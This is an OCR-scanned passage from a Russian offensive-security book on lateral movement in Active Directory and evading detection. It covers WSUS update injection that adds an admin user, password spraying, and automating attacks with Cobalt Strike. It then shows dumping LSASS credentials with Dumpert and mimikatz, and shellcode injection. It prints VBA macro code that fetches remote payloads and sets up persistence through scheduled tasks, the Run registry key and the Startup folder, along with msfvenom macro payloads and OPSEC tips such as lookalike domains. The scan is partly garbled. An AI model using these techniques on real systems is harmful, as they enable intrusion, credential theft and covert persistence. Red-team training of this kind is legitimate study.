Глава З 70 "1 Fk cr loldernome: !,_ш_..tt--'-----.i.I---' ()/( 11 Cancet Рис. 3.16. Меню «Метод обнаружения» разом, SCCM представляет собой отличную платформу для продвижения по сети без необходимости использования обычных методов бокового перемещения. Windows Server Update Services o wsus Windows Server Update Services (WSUS) - это сервис обновлений операционных систем и продуктов Microsoft. Сервер обновлений синхронизируется с сайтом Microsoft, скачивая обновления, которые затем могут быть распространены внутри корпоративной локальной сети. Это экономит внешний трафик компании и позво ляет быстрее устанавливать исправления ошибок и уязвимостей в операционных системах Windows на рабочих местах, а также дает возможность централизованно управлять обновлениями серверов и рабочих станций. Он прост в использовании и установке·, и его можно адаптировать в соответствии с различными правилами для каждой организации. Однако неправильное использование его функций может иметь крИтическое значение для безопасности сети. Для компрометации данной службы создан инструмент под названием WSUSpendu (https://github.com/AlsidOfficial/WSUSpendu). Однако злоумышленник не всегда
71 Боковое перемещение в Active Directory сможет использовать этот инструмент. Дело в том, что WSUSpendu применяет ме тод прямого внедрения обновлений в службу WSUS, а не в сетевой поток, чтобы избежать сетевых ограничений. Главная проблема при аудите управления обновле ниями заключается в сборе состояний обновлений в каждой системе. Эти состояния должны быть согласованными. Прямой доступ к серверу WSUS позволяет нам обойти эти ограничения. Наиболее распространенная конфигурация сети - та, где есть только один сервер обновлений (рис. 3 . 1 7). Этот сервер обновляет свои собственные клиенты и под ключается к Интернету для получения обновлений от серверов Microsoft. Связь между сервером WSUS и серверами Центра обновления Windows должна исполь зовать протокол HTTPS (эти конфигурации недоступны для редактирования). Сер вер WSUS проверяет сертификат SSL, чтобы исключить загрузку вредоносных об новлений через подделку легитимных серверов. Клиенты получают свои обновле ния на сервере WSUS в соответствии с конфигурацией сервера: используя протокол HTTPS, если сервер настроен с использованием SSL, или протокол НТТР, если нет. Microsoft Update Кл иенты WSUS Рис. 3.17. Простая архитектура WSUS Большая организация, скорее всего, будет использовать несколько серверов WSUS (рис. 3 . 1 8). В этом случае применяется древовидная архитектура. Главный сервер подключен к Интернету. Другие серверы WSUS (репликации) распространяют об новления для одного сегмента или одной подсети. Также возможно использовать этот вид архитектуры с автономной системой. В этом случае обновления копиру ются, но применяются автоматически. Эти две архитектуры рекомендуются Microsoft. Однако их недостаточно для неко . торых организаций, и там в сетях можно наблюдать две другие архитектуры. Пер вая часто встречается в относительно крупных компаниях: она имеет несколько доменов или лесов, которые не обязательно связаны доверительными отношещ1ями
Гла ва З 72 Active Directory (рис. 3 . 1 9). В этих архитектурах мы часто видим общие серверы функций подцержки. Хотя домены не имеют отношений, серверы обновлений часто имеют общую ссылку: сервер WSUS одного из доменов используется в каче стве ссылки на сервер WSUS другой сети. для Рис. 3.18. Древовидная архитектура WSUS Microsoft Update Рис. 3.19. Архитектура WSUS со связанными серверами в разных доменах
Боковое перемещение в Active Directory 73 Для всех этих архитектур можно вручную устанавливать любые обновленИя про граммного обеспечения, предложенные Microsoft. Но также возможно автоматиче ское применение обновлений в соответствии с определенными критериями. При установке WSUS создается правило, которое по умолчанию отключено и позволяет при активации автоматически принимать установку всех «критических» или «безо пасных» обновлений на клиентах WSUS. Атака на WSUS Существует несколько атак на механизм обновления Windows. Все атаки работа Чтобы атака WSUSpect сработала, клиент должен использовать машину злоумышленника в качестве прокси. Один из спосо бов выполнения этой атаки - для непривилегированного пользователя на клиенте установить прокси-сервер. Другой способ выполнить эту атаку - использовать протокол WPAD. WSUSpect перехватывает запрос на обновление от клиента и вмешивается в него, чтобы добавить свое вредоносное обновление. ют только между сервером и клиентом. Ответ сервера изменяют, вставляя метаданные и двоичные файлы, чтобы попытать ся выполнить произвольный код на клиенте. Но дело в том, что на локальном ком пьютере будет проверена подпись. С этой конфигурацией невозможно изменить обновление, добавив в него произвольный двоичный файл. Тем не менее аргументы команды не включены в проверку подписи. Таким образом, можно изменять аргу менты двоичного файла (к примеру, cmd . exe, wmi c . exe) для выполнения некоторых команд. Но подписи к данным файлам не хранятся, а хранятся подписи к каталогу с этими файлами, что не позволит передать им аргумент. Однако благодаря под держке Microsoft Sysintemals есть подписи для файлов из данного пакета, в частно сти PsExec. может развертывать обновления, создавать и удалять группы WSUS, назначать компьютеры группам и удалять обновления. Скрипту нужно указать PsExec или Bglnfo, т. к. только эти программы подписаны Microsoft и могут выпол нять произвольные команды в любых системах Windows. Сценарий принимает аргументы для двоичного файла в качестве параметра и автоматически внедряет выбранные двоичные и специально созданные метаданные в базу данных. Сцена рий PowerShell, а также выбранный двоичный файл необходимо загрузить на сер вер WSUS для локального выполнения (рис. 3 .20, 3 .2 1 ). WSUSpendu PS> . \Wsuspendu . psl -Inj ect -PayloadFile . \ PsExe c . exe -PayloadArgs ' -accepteula -s -d cmd . exe /с "net user [USER] [ PASSWORD] /add & & net localgroup Administrators [ USER] /add" ' -ComputerName DCl . doma in Everything seems o k . Waiting for client now . . . То clean the injection, execute the following coПU11and : . \Wsuspendu . ps l -Clean -UpdateID 1 2 3 4 5 6 7 B - 90ab-cdef-1234-567B 90abcdef Обновление будет зависеть от конфигурации клиента - неважно, бьm ли он на строен для автоматической или ручной установки обновлений. Новое обновление само по себе может быть установлено без какого-либо взаимодействия с пользова телем.
Глава З 74 All Upd.11� (2624 upd•tes of 2645 shown 2645 \oral) � � � � � � � � � � � � � � � � � � � � � � Aapr<МI� Tit� 1 Unapproved l� Status: Any nVidia • Graphics Adapter WDDM1.1, Otha harclw1re • NVIDIA GeForce 6бОО VE Drivm 10•• Drivers 10". nVidia • Graphics Adapter WDDM1 .1, Other hardw1re • NVIDIA GeForce 7050 Р". Drivets 10". OriveA 10".. nVodia • Graphics Adapter WDDM1.1, Other harcfwar" - NVIDIA GeFocrce 705()/". Drivets 10." Drivers 10". Drivers 10... nVкf" • Graphics Adapter WDDM1.1, Other harcfware · NVIDIA GeForce 6100 nVidia • Graphics Adapter WDOM1.1, Other harcfware • NVIDA I GeForce 6150S." nVidia • Graphics Adapter WDOMl .1, Other harcfware • NVIDIA GeForce 6600 nVidia • Graphics Adapter WDOM1.1, Other hardware • NVIDIA GtForce 7300 S". nVicf" - Graphics Adapter WODM1.1, Other hardware - NVIDIA Gefclrce 6100 n". Drivers nVidia - Gr1phics Adapter WDDМ1 .1, Other harcfware - NVIDIA GeF�ce 7900 GS 10." Drivers 10... Drwers 10". nVidia • Graphics дdapter WDDM1 .1. Other h<irdware - NVIDIA GeForce 7800 Sll Drivm 10... nVidia • Graphics Adapter WDDМ1.1, Other hardware • NVIDIA GeForce 7800 ". Not approv." Not approv". Not •pptov". Not approv". Not 1pprov... Not approv." Not approv". Not approv". №t apptov... Not 1pprov". Not 1pprov." Рис. 3.20. Консоль WSUS Select the updates усщ want to in5'all Name ftnpOf'tlnt (l) S!te W111doм 7 (1) .., " Ps&...: Ьuodled Щ.S..VeXmlmqment) Ж..-ity UpcМte for � 7 (К828623'Щ А security issue has been identified tn а Mкrosoft softwore prodllCt thal coukl affect your systern. YOll can h�lp prote<t your system Ьу insullmg lhis upd�t� ftoм Мiaosolt. for 1 complete l1st1ng of the 1Srul!$ tltilt ore 1ncl11 ded in tltis upcitt '"' tha 1uoc:iated Microюft Кno..t.!dgr 8•5'! attk le. Afteryou instAll lhos updtt� you may h&ve !О 1estartyour system. PuЬlblied: ioday := Update is reIO)l for dOl'lnloin •d g Моr• 1111 rmiJl•ort S� 111l0tm:t10n Рис. 3.21 . Уведомление о новом обновлении Рас п ыление п ароле й Распыление пароля (Password Spraying) относится к методу атаки, который прини мает большое количество имен пользователей и перечисляет их с помощью одного пароля или малого количества паролей. Так как допустимое количество попыток ввода пароля обычно невелико,· этот метод позволяет избежать блокировок полити кой паролей, и он часто более эффективен для обнаружения слабых паролей. После успешного получения списка действительных пользователей злоумышленники не редко проверяют частые или известные пароли или благодаря накоШiенным в про-
Боковое перемещение в Active Directory 75 цессе разведки данным пробуют ОДИН тщательно продуманный пароль для ВСЕХ известных учетных записей пользователей. Распьmение паролей проводится, как правило, на одном из начальных этапов без наличия привилегий. Этапы атаки распыления паролей: 1 . Включение в сеть (в случае теста на проникновение) или компрометация учетной записи пользователя (для злоумышленника). 2. Перечисление групповой политики и политики паролей. 3 . Перечисление имен пользователей. 4. Распыление паролей. Для выполнения данной атаки написан скрипт Spray (https://github.com/ Greenwolf/Spray), который позволяет указать парольную политику. Spray дает возможность проводить атаку на SMB, OWА (веб-клиент для доступа к серверу со вместной работы Microsoft Exchange), Lync, CISCO Web VPN. Для работы скрипт требует список пользователей и паролей. Альтернативное автоматическое решение - РоwеrShе\1-скрипт DomainPasswordSpray (https://github.com/dafthack/DomainPasswordSpray). Он требует только пароль либо список паролей. При этом он автоматически перечисляет пользователей доме на и парольные политики (рис. 3 .22). Кроме того, скрипт позволяет узнать список всех пользователей. Рис. 3.22. Скриншот испольэования DomaiпPasswordSpray из примера описания программы Автомати эаци11 Lateral Movement Множество сетей можно взломать, следуя определенным стандартным алгоритмам действия. Чтобы не тратить время на проверку данных контекстов развития собы тий, бьmи разработаны инструменты автоматизации шагов каждого контекста.
Глава З 76 GoFetc h это инструмент для автомати GoFetch (https://github.com/GoFetchAD/GoFetch) ческого осуществления IUiaнa атаки, созданного приложением BloodHound. - Сначала GoFetch загружает связи локальных пользователей-администраторов и компьютеров, созданных BloodHound, и преобразует его в собственный формат Шiана для атаки. Как только Шiан атаки готов, GoFetch продвигается к месту назна чения в соответствии с Шiаном, шаг за шагом, последовательно применяя мето ды удаленного выполнения кода и компрометируя учетные данные с помощью mimikatz. GoFetch написан на PowerShell, что помогает скрываться от обнаружения, однако используемые модули Python могут выдать работу этого средства. В качестве пара метров GoFetch использует связи объектов, созданные с помощью BloodHound, и пейлоад для выполнения в формате ВАТ, ЕХЕ или PS 1 . Также для примера было представлено видео работы этого средства, которое мож но отыскать по адресу https:/lwww.youtube.com/watch?v=5SpDAxUx7Uk. ANGRYPUPPY это инструмент ANGRYPUPPY (https://github.com/vysecurity/ANGRYPUPPY) для фреймворка Cobalt Strike, предназначенный для автоматического анализа и вы полнения путей атаки BloodHound. ANGRYPUPPY использует встроенное боковое движение Cobalt Strike и возможности кражи учетных данных Beacon. Эrо позволя ет автоматически извлекать сеансы для управления .в Cobalt Strike и использовать его канал связи SМВ С2. Кроме того, ANGRYPUPPY дает возможность выбирать технику, которую оператор хочет использовать для выполнения действий бокового движения. - ANGRYPUPPY принимает путь атаки BloodHound в формате JSON, а затем опре деляет действия, нужные для выполнения пути атаки, кражи учетных данных или бокового перемещения по мере необходимости. Оператор просто вводит angrypuppy в любую консоль маяка Cobalt Strike, а затем может импортировать путь атаки, выбирать технику бокового перемещения и вы полнять атаку. Эrо действие записывается в журнал событий Cobalt Strike вместе с именем оператора и идентификатором ANGRYPUPPY. Не рекомендуется выпол нять другие действия бокового движения во время работы ANGRYPUPPY! Демонстрация работы этого инструмента также запечатлена на видео: https:// www.youtuЬe.com/watch?v=yxQ8Q8itZao. DeathStar DeathStar (https://github.com/Ьyt3Ы33d3r/DeathStar) это скрипт Python, исполь зующий АРI-интерфейс RESTful Empire для автоматизации атак в среде Active Directory с использованием различных методов. -
Боковое перемещение в Active Directory 77 Так как BloodHound просматривает не все пути продвижения (те же GPP и SYSVOL не подлежат анализу ВloodHound), данный инструмент использует мак симум возможностей, которые предоставляет API RESTful Empire PowerShell. Разработчики представили два видео (https://www.youtube.com/watch?v=PTpg_ https://www.youtube.com/watch?v=lZCkC8FXSzs), демонстрирующих работу DeathStar. Но есть один минус: со 2 августа 20 1 9 года этот проект больше не поддерживается, т. к. прекратил свое существование проект Empire. 91gхВО, Заключение Благодаря боковому перемещению мы можем легитимным образом продвигаться по сети, используя для этого лишь учетные данные пользователей или разрешенные средства доставки и обновления ПО, что позволит получать информацию с атако ванных машин без использования RAТ.
ГЛАВА 4 Уклоняемся от обнаружения при атаке на домен Как известно, любая атака выполняется в несколько этапов. Мы успешно провели разведку, повысили собственные привилегии, продвинулись, куда только захотели, и в итоге сумели захватить всю сеть. Но вот проблема: нас обнаружили, отрезали от сети и поймали. Чтобы избежать подобного развития событий, нужно заранее изу чить методы защиты от обнаружения. У клонение от сканеров п амяти Любые действия в системе так или иначе регистрируются, и полностью скрыться от опытного наблюдателя никогда не получится. Но можно максимально замаскиро ваться. Большинство команд Red Team или пентестеров при атаке на домен исполь зуют PowerShell. Причем он стал настолько популярен, что появились целые фреймворки, к примеру Empire (https://github.com/EmpireProject/Empire) и PowerSploit (https://github.com/PowerShellMafia/PowerSploit). Кроме того, скрип ты PowerShell могут быть обфусцированы с помощью того же Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-OЬfuscation). В ответ на появление всех этих инструментов сторона защиты разработала методы их обнаружения, та кие как выявление странных родительских-дочерних связей, подозрительные аргу менты командной строки и даже различные способы деобфускации PowerShell. Одно из самых передовых средств для атак на домены Windows с возможностью скрытия активности - Cobalt Strike, в частности использование модуля execute assemЬly. Есть возможность выполнять близкие к PowerShell-cкpиптaм программы, написанные на С#. К примеру, собранный на С# get-users, который дублирует функции модуля Get-NetUser из пакета PowerView. В данном примере у контроллера домена запрашиваются свойства SAМAccountName, UserGivenName и UserSurname для каж дой учетной записи (рис. 4. 1 ). Давайте посмотрим, что происходит в это время на целевой машине. Сделать это можно с помощью ProcMon (рис. 4.2).
Глава 4 80 beacon> e x e c u t e - a s s emЫy /root/bi n/attack/get- u s e r s . exe doma i n . l o c a l [•] f·l Tasked beacon to run host c a l l e d home , . NET program : sent : get-users . exe doma i n . l o c a l 1 10663 b y t e s rece i v e d output : SA!-\Ac c ou n t Name : Adm i n i s t ra t o r SAl-IAc c ou n t N ame : Guest SA/-IAc c o11ntName : k1·btgt SA!-IAccountName : UserGivenName : U s e r S u rname : USER1 SAf.IAccount Name : UserGi v e n Name : U s e r S u rname : user2 User2 U S E R2 SAMAc c ou n t Name : UserGivenName : U s e r S u rname : userl Userl user2 User2 USER2 Рис. 4.1 . Запуск get-users с помощью модуля execute-assemЫy Рис. 4.2. Дерево процессов, построенное РгосМоп Процесс powershel l . ехе содержит нагрузку Cobalt Strike, а процесс rundll32 . ехе ис пользуется для загрузки и выполнения get-users. Стоит сказать, что powershell . exe является родителем rundll32 . ехе только потому, что t1агрузка Cobalt Strike была за пущена из-под PowerShell. Но нагрузку Cobalt Strike можно запускать из-под любого процесса, при этом также имеется возможность мигрировать в разные процессы. Кроме того, некоторые функции Cobalt Strike выгружаются в новые процессы, что позволяет обеспечить стабильную работу этого ПО. Помимо прочего, библиотеки DLL, загруженные в процесс rundl l32, включают в себя те, которые необходимы для get-users, напри мер библиотеки LDAP и аутентификацию Kerberos (рис. 4.3). ЭО4О toad Ь\аоt 3040 ЭО4О l.ol!d � toad llnage 3040 3040 toad lnll\)t l.ol!d .... С:'�� · c�,Wndowt�il.dl C:'w..dows�· C:\WfnOcмa\Э)'lt�.dl C:\\VndQwa�tp.c8 socass SIX:CESS su:ass SIX:CESS soca:ss Рис. 4.3. DLL-библиотеки, загруженные в ruпdll32 Главное преимущество данного модуля заключается в том, что файл никогда не пишется на диск, т. е. сборка выполняется строго в памяти. При этом во время ана лиза памяти большое внимание уделяется функции createRemoteThreacl, благодаря которой вредоносные программы мигрируют в другие процессы и загружаются об разы. Модуль execute-assemЫy загружает пользовательскую сборку при помощи встроенной функции Loadimage, а т. к. эта функция используется в основном ле-
Уклоняемся от обнаружения при атаке на домен 81 гитимными процессами для загрузки DLL, обнаружить загрузку сборки очень сложно. Стоит добавить, что PowerShell не единственный легитимный процесс, использова ние которого пристально отслеживается стороной защиты. Другие распространен ные программы и службы (такие, как WМIC или schtasks/at) тоже подлежат тща тельному контроmо. Но и функции этих инструментов могут быть воспроизведены в пользовательских сборках .NET. А это значит, что есть возможность их скрытого использования с помощью того же модуля execute-assemЫy. Уклонение от EDR Endpoint Detection and Response (EDR) - технология обнаружения угроз и реаги рования на оконечном оборудовании. EDR постоянно отслеживает и анализирует подозрительную активность и принимает необходимые меры в ответ на нее. Так как большинство организаций сосредотачиваются на безопасности сети, то они ос тавляют без внимания активность на оконечном оборудовании. Являясь одним из основных источников информации для SOC, EDR помогает закрыть эту брешь за счет настройки разных политик, включающих в себя контроль запуска приложений, контроль макросов и скриmов, анализ действий с памятью и многое другое. Все описанные в статье методы могут перекликаться с темой уклонения от EDR, но именно в этом разделе хотелось бы рассмотреть скрытую работу критического ПО (такого как mimikatz) и доставление первоначальной нагрузки. Скрываем работу m im ikatz Как правило, почти все EDR обнаруживают использование одного из главных ин струментов любого пентестера, редтимщика или злоумышленника, атакующего Windows-cиcтeмы, - mimikatz. Поэтому использование данного инструмента в чистом виде, когда имеешь дело с серьезными организациями, не имеет никакого смысла. Как вариант, можно сдампить процесс LSASS, с которым и работает mimikatz, для получения важных данных. Но использование ProcDump EDR также обнаружит из за перехвата соответствующих вызовов API. Таким образом, если отсоединить про цесс LSASS от соответствующих API, то его можно незаметно сдампить. Именно так и работает инструмент под названием Dumpert (https://github.com/outflanknl/ Dumpert/tree/master/Dumpert). Благодаря прямым системным вызовам и отсоеди нению API данный инструмент позволяет сделать укороченный дамп процесса LSASS в обход антивирусных средств и EDR (рис. 4.4). И теперь можно использовать mimikatz для извлечения информации из дампа, предварительно указав файл дампа. mimi katz # securlsa : : minidump [путь к дампу] mimi katz # securlsa : : logonpasswords
Гла ва 4 82 ::: : \Out fl a n k \ De1elopmeгit , \Outfl апk ·Dur.-.pert \ xб•• \Release>Outfl ank · Dumpert: . е:<е \ 1 / � • \! -- \ (•] \ /1 l \/ [ 1 ) Che c k i n g I _; __ 1 I _! _ \ , 1 __ -\ 1 1 \_ \ / 1 1 1 l _1 _ \ 1 1 l _ I . I _(_ 1_/ __ __ 1 \' 1 11 / _ ' t_ I _ \ \/ \! \/ Dump ert Ву Cnee l i � �utflank 2019 os version deta i l s : Operat ing Sy s t e m i s Windows 10 cr Server 2016, bui id number 1 7 763 [ + ] Haoping version s p e c i fi c Sy stem c a l l s . [ 2 ) Che c k i ng ?roc e s s det a i l s : [ + ] Proc ess !D of l s a s s . ex e i s : 640 ( + J NtRead\'irtua H\emory func tion pointel' a t : 0:<000 0 7 FF 86бCAFf30 [ • ] NtReadVirtua!Hemcry System c a l l n r i s : 0 x 3 f ( + J Ur.hcok i n g NtReadV i r t н a H\emory . [ З j Cr•eate memorydump f i l e : [ + ] Open 1 pro c e s s h andle . ( + ] Dt1np l !: a s s . ехе ll'e•r.ory t o : \ n\c : \h1! NOO.·,s\ Temp\du'!lper-t . dtr•P [ • j Dump succesfv l . Рис. 4.4. Соэдание дампа LSASS с помощью Dumpert Этот способ защищает от обнаружения EDR во время дампа, но он оставляет за метные следы, сохраняя файл программы на диске. Как уже было сказано, инъек ции кода помогают избежать записи на диск. Но опять же, обычные инъекЦии DLL будут обнаружены EDR, поэтому была разработана техника sRDI и соответствую щие инструменты (https://github.com/monoxgas/sRDI) для ее реализации. Подроб ное описание их использования и принципов работы прилагается к самим инстру ментам. Специально для инъекций существует DLL-версия Dumpert (https://github.com/ outflanknl/Dumpert/tree/master/Dumpert-DLL). Для ее преобразования будем ис пользовать скрипт convertToShel lcode . py из пакета sRDI. pythonЗ ConvertToShel lcode . py Outflank-Dumpert . dl l Внедрить полученный шелл можно с помощью модуля PID процесса (рис. 4.5). beacon> s h i n j e c t !· (+] · 554 хб4 shinject Cobalt Strike, указав / r o o t / Dt1mpe rt . DL L . bin T a s k e d beacon to i n j e c t / r o o t /Dumpert . DL L . b i n i n t o h o s t c a l l e d home , Рис. 4.5. sent : 214454 554 bytes Модуль shiпject Cobalt Strike Но специально для Cobalt Strike на его собственном языке Agressor Script была раз работана своя версия Dumpert (https://github.com/outflanknl/Dumpert/tree/master/ Dumpert-Aggressor, рис. 4.6). Таким образом, с помощью объединения нескольких средств мы можем достичь скрытой работы при краже учетных данных из LSASS.
Уклоняемся от обнаружения при атаке на домен 83 beacon> dumpert [ + ) Dumpert Ьу Ou tflank Tasked beacon t o inJect /root /dumpert . b i n into 1041 f +] �la i t i n g а fe�1 seconds for task t o complete . . . Tasked beacon t o download C : \Windows\Temp\dumpert . dmp [ + ] host called home , sen t : 116954 bytes started download o f C : \Windows\Temp\dumpert . dmp ( 50254621 byt e s ) download o f dumpert . dmp i s c omp lete Рис. 4.6. Dumpert для Cobalt Strike УклоНJ1емся от п равила ... ... «родительскии - дочернии п роцесс» в макросах ос:рисн ых документов Самое популярное средство доставки начальных загрузчиков или полезной нагруз ки в АРТ-атаках - макросы в офисных документах. При этом идеи эксплуатации в макросах остаются одними и теми же, усложняется лишь их интерпретация, т. е. добавляется обфускация для обхода EDR. Макросы офисных приложений пишутся на VBScript, который поддерживает много полезных функций и может обеспечить полньJй доступ к системе. Так, Emotet (https://threats.kaspersky.com/ru/threatffrojan-Banker.Win32.Emotet) использует последовательность WinWord ---+ cmd ---+ PowerShell, а группа АРТ28 (https:// ru.wikipedia.org/wiki/Fancy_Bear) использовала макрос, вызывавший certutil для декодирования нагрузки. Как ни обфусцируй макросы, но приведенные примеры будут обнаружены EDR по паттерну родительский-дочерний процесс, т. к. cmd, PowerShell или certutil будут вызываться из процесса Winword, т. е. будут его дочерними процессами. Но есть несколько способов уклониться от подобного шаблона EDR. 1 . Уклонение от пр.АМого анализа потомков Чтобы новые процессы не происходили от WinWord, можно использовать для их за пуска WМI. Новый процесс станет дочерним процессом wmiprvse . ехе. Сделать это можно с помощью следующего кода: Set obj = Get0bj ect ( " new : C08AFD90-F2Al - 1 1Dl-8455 - 0 0AOC91F3 8 8 0 " ) obj . Document . Application . ShellExecute "APPLICATION" , Nul l , " FOLDER " , Nul l , O Также можно загружать и выполнять код прямо внутри процесса используется XМLDOM: Set xrnl = CreateObj ect ( "Microsoft . XМLOOM" ) xrnl . async = False Set xsl = xrnl xsl . load ( "http : //ip/payload . xs l " ) xrnl . trans forrnNode xsl Winword. Для этого
Глава 4 84 2 . Уклонение за счет запланированных задач С помощью VBScript можно создавать запланированные задачи. Новый процесс будет запущен от имени svchost . ехе. Это удобно и тем, что мы можем заШiаниро вать выполнение через несколько дней или недель. Сделать это можно с помощью следующего кода, указав нужную дату. Set service = CreateObj ect ( "Schedule . Service " ) Call service . Connect Dim td : Set td = service . NewTas k ( O ) td . Registrationinfo . Author = "Microsoft Corporation" td . settings . StartWhenAvailaЫe = True td. settings . Hidden = False Dim triggers : Set triggers = td. triggers Dim trigger : Set trigger Dim startTime : t s = = triggers . Create ( l ) DateAdd ( " s " , 3 0 , Now) startTime = Year ( t s ) & " - " & Right (Month ( ts ) , 2 ) & " " & Right ( Day ( ts ) , 2 ) & "Т" &· Right ( Hour ( ts ) , 2 ) & " : " & Right (Minute ( t s ) , 2 ) & & Right ( Second ( t s ) , 2 ) - " · " trigger . StartBoundary = startTime trigger . I D = "TimeTriggerid" Dim Action : Set Action = t d . Actions . Create ( O ) Action . Path = " PATH/FOR/APPLICATION" Call service . GetFolder ( " \ " ) . RegisterTaskDefinition ( "UpdateTask" , td, Единственное, что может выдать использование объекта загрузка tas kschd . dl l В WinWord. 6, , , 3) Schedule . service, - это Э . Работа с реестром С помощью следующего кода VBScript можно работать с реестром: Set WshShel l = CreateObj ect ( "WScript . Shell" ) WshShell . regwrite "НКCU\Software\Microsoft\Windows \CurrentVersion\Run\key" , "value " , , "REG SZ" Подобным образом можно хранить данные, передавать менять непосредственно из макроса. их между нагрузками и из 4. Соэдание срайлов Все-таки без записи на диск возможности атакующего весьма ограниченны. Запи сать нужные данные по определенному пути на диске можно следующим образом: Path = CreateObj ect ( "WScript . Shell" ) . SpecialFolders ( "Startup" ) Set objFSO = CreateObj ect ( " Scripting . FileSystemObj ect " ) Set obj File = obj FSO . CreateTextFile ( Path & " \SCRIPT . ba t " , True) obj File . Write "notepad . exe" & vbCrLf obj File . Close Раз запись на диск произошла, то нужно максимально замаскировать данное дейст вие. Усложнить анализ можно, используя специальные пути к файЛам, ведь нет
Уклоняемся от обнаружения при атаке на домен 85 ничего аномального в том, Что процесс Winword производит запись во временный файл tmp. К примеру, можно выполнить запись по одному из этих путей: C : \Users\<user>\AppData\Local\Microsoft\Windows\ INetCache\Content . Word\ -WRF {AE7BBF2F-B65D-4BF4-9FAD-A77 9AEC4 1A02 } . tmp C : \Users \<user>\AppData\Local\Temp\CVR497 F . tmp C : \Users\<user>\AppData\Local\Microsoft\Windows\Caches\ {AFВF9FlA- BEEB-4C77 -AF3 4 C64 7E37CAOD9} . l . verOx0 0 0 0 0 0 0 0 0 0 0 0 00 1 6 . c!Ь Но можно пойти еще дальше и изменить шаблон Office: C : \Users \<user>\AppData\Roaming\Microsoft \Templates\Norrnal . dotrn !5. Загрузка данных VBScript можно использовать для загрузки различных данных по сети. Но, если использовать библиотеку ХМLНТТР или функцюо API URLDownl oadToFi leA, процесс winWord инициирует сетевое соединение (и явно не с сайтом Microsoft), что будет отмечено EDR для SOC. Этого можно избежать при помощи Intemet Explorer СОМ. Set ie CreateObj ect { " I nt ernetExplorer . Application" ) = ie . Navigate "https : / /pasteЬin . com/raw/payload" State = О Do Until State = 4 DoEvents State = ie . readyState Loop Dim payload: payload = ie . Document . Body . innerHТМL Использование данного метода приведет к вызову браузера из процесса загрузки данных. svchost . ехе для 6 . Встраивание в макрос Также существует возможность вставить нагрузку или файл в сам макрос и даже документ, чтобы не загружать его по сети. Тот же Metasploit Frarnework способен создавать макросы со встроенной нагрузкой. ms fvenom -р generic/custom PAYLOADFILE=payload file -а х64 --platform windows -f vba-exe _ Но проблема кроется в том, что новый процесс будет запускаться из-под процесса Это легко исправить, а как - мы уже рассмотрели выше. winWord. Стоит отметить, что данные техники вполне применимы по отдельности, но шанс быть обнаруженным станет меньше, если использовать эти методы (или некоторые из них) совместно. OPSEC Скрываясь во время атаки, можно обмануть программный продукт, но куда слож нее обмануть человека. Поэтому во время любой атаки стоит думать о своих дейст виях. Дам несколько вполне очевидных советов.
Глава 4 Вб Внедрение в процессы - обычное дело, но стоит задуматься о том, в какие процес сы стоит внедряться. Ведь некоторые процессы пользователь может закрыть за не надобностью, поэтому стоит выбирать те, что обеспечат более продолжительный жизненный цикл полезной нагрузки. При этом, скорее всего, вызовет подозрение, что блокнот (процесс nоtераd . ехе) . обращается к удаленному серверу или выходит в Интернет. Поэтому опьпный атакующий скорее будет внедряться в службу обнов лений или браузер, чье предназначение объясняет необходимость работы с сетью. Мы уже говорили об использовании PowerShell - иногда оно губительно. Поэтому любой оператор должен очень хорошо знать инструменты, с которыми он работает, ведь можно даже не догадываться, что некоторые нагрузки или команды популяр ных фреймворков используют PowerShell (к примеру, wmi или psexec_psh в Cobalt Strike). Еще одна из мер предосторожности - использовать схожие доменные имена, к примеру github.com и githab.com. Такие домены не вызовут подозрения, в от личие от странных наборов си.мволов (встречалось и что-то типа такого: kaWEFwldЪw.com). Этот подход используется как при рассылке фиши:нговых пи сем, так и для организации связи с управляющим сервером. Поддерживать связь между захваченными хостами лучше всего с помощью леги тимных для организации служб и программ. Куда безопаснее делать это через ис пользуемые в скомпрометированной сети RDP или RAdmin. Для сбора дополни тельной информации можно получать скриншоты рабочих столов, а также привле кать микрофоны и камеры, установленные на хостах (правда, данный вид разведки требует много времени и усилий). Ни в коем случае не следует использовать распространенные модули популярных фреймворков (например, loca l_admin_search_enurn из MSF) они обнаруживаются всеми видами средств защиты. Никогда не отключайте на захваченных хостах ан тивирусы, АТР и EDR. Так как большинство этих систем создают оповещение об отключении, это будет очевидным сигналом аномальной работы узла или всей сети. � И, как уже отмечалось, требуется собирать и накапливать все учетные данные, даже имена пользователей без паролей, пароли от документов, хранилищ и почтовых ящиков, и использовать их корреляции между собой. Уклонение от обнаружения АТА Advanced Threat Analytics (АТА) представляет собой платформу для локальной се ти, она помогает защитить организацию от многих типов современных целевых компьютерных атак и внутренних угроз. АТА использует собственный механизм сетевого анализа для сбора и валидации трафика по нескольким протоколам про верки подлинности, авторизации и сбора информации (Kerberos, DNS, RPC, NTLM и др). АТА собирает эти сведения при помощи таких механизмов, как зеркальное ото бражение портов с контроллеров домена на шлюз АТА или развертывание упро-
Уклоняемся от обнаружения при атаке на домен 87 щенного шлюза АТА непосредственно на контроллерах домена. Таким образом, данная технология служит хорошим помощником для SOC, сильно усложняя рабо ту нападающей стороне. Для уклонения от регистрации атак с помощью АТА первым делом атакующий должен безукоризненно следовать всем пунктам, изложенным в OPSEC. А именно досконально знать техники и инструменты, которыми она пользуется. Это важно, поскольку АТА, в отличие от EDR, работает за счет анализа сетевой активности (прсiслушивая протоколы) и имеет высокую интеграцию с системными журналами событий, аудита и большим количеством SIЕМ-систем. То есть выделяет аномалии в действиях пользователей. Таким образом, нам нужно умело уклоняться от обнаружения на всех этапах атаки, будь то разведка (перечисление компьютеров, пользователей и подобное) или бо ковое движение (за счет передачи билетов или хешей). Разведка В самом начале, когда у нас есть обычные доменные права пользователя, мы стара емся перечислить домены, компьютеры, учетные записи администраторов и член ство в разных группах. К примеру, утилита net . ехе использует для сканирования протокол SAМR, на который АТА среагирует событием Reconnais sance using directory services enurneration (разведка с использованием перечисления служб ка талогов, рис. 4. 7). Reconna issa nce u s ing d i rectory ;services queri es l � The following di rectory services queries using sдMR protoco were attempted Рис. 4.7. Событие Reconnaissance using directory services enumeration АТА Но если для перечислений применить PowerView, то никаких действий от АТА мы не получим, потому что данный инструмент вместо протокола SAМR использует запросы LDAP, на которые АТА не реагирует. Еще один вариант избежать детекта с помощью АТА - WМI-запросы. Для этого используется следующий алгоритм . . 1 . Получаем пользователей в домене domain: Get-WrniObject -Class Win32_UserAccount -Filter " Doma in= ' domain ' AND Di saЫed= ' False ' " 2. Получаем группы в домене domain: Get-WmiObject -Class win32_group -Filter " Domain= ' domain ' " 3 . Получаем членство в группе администраторов домена domain: Get-WmiObject -Class win32_groupUser 1 Where-Obj ect { ( 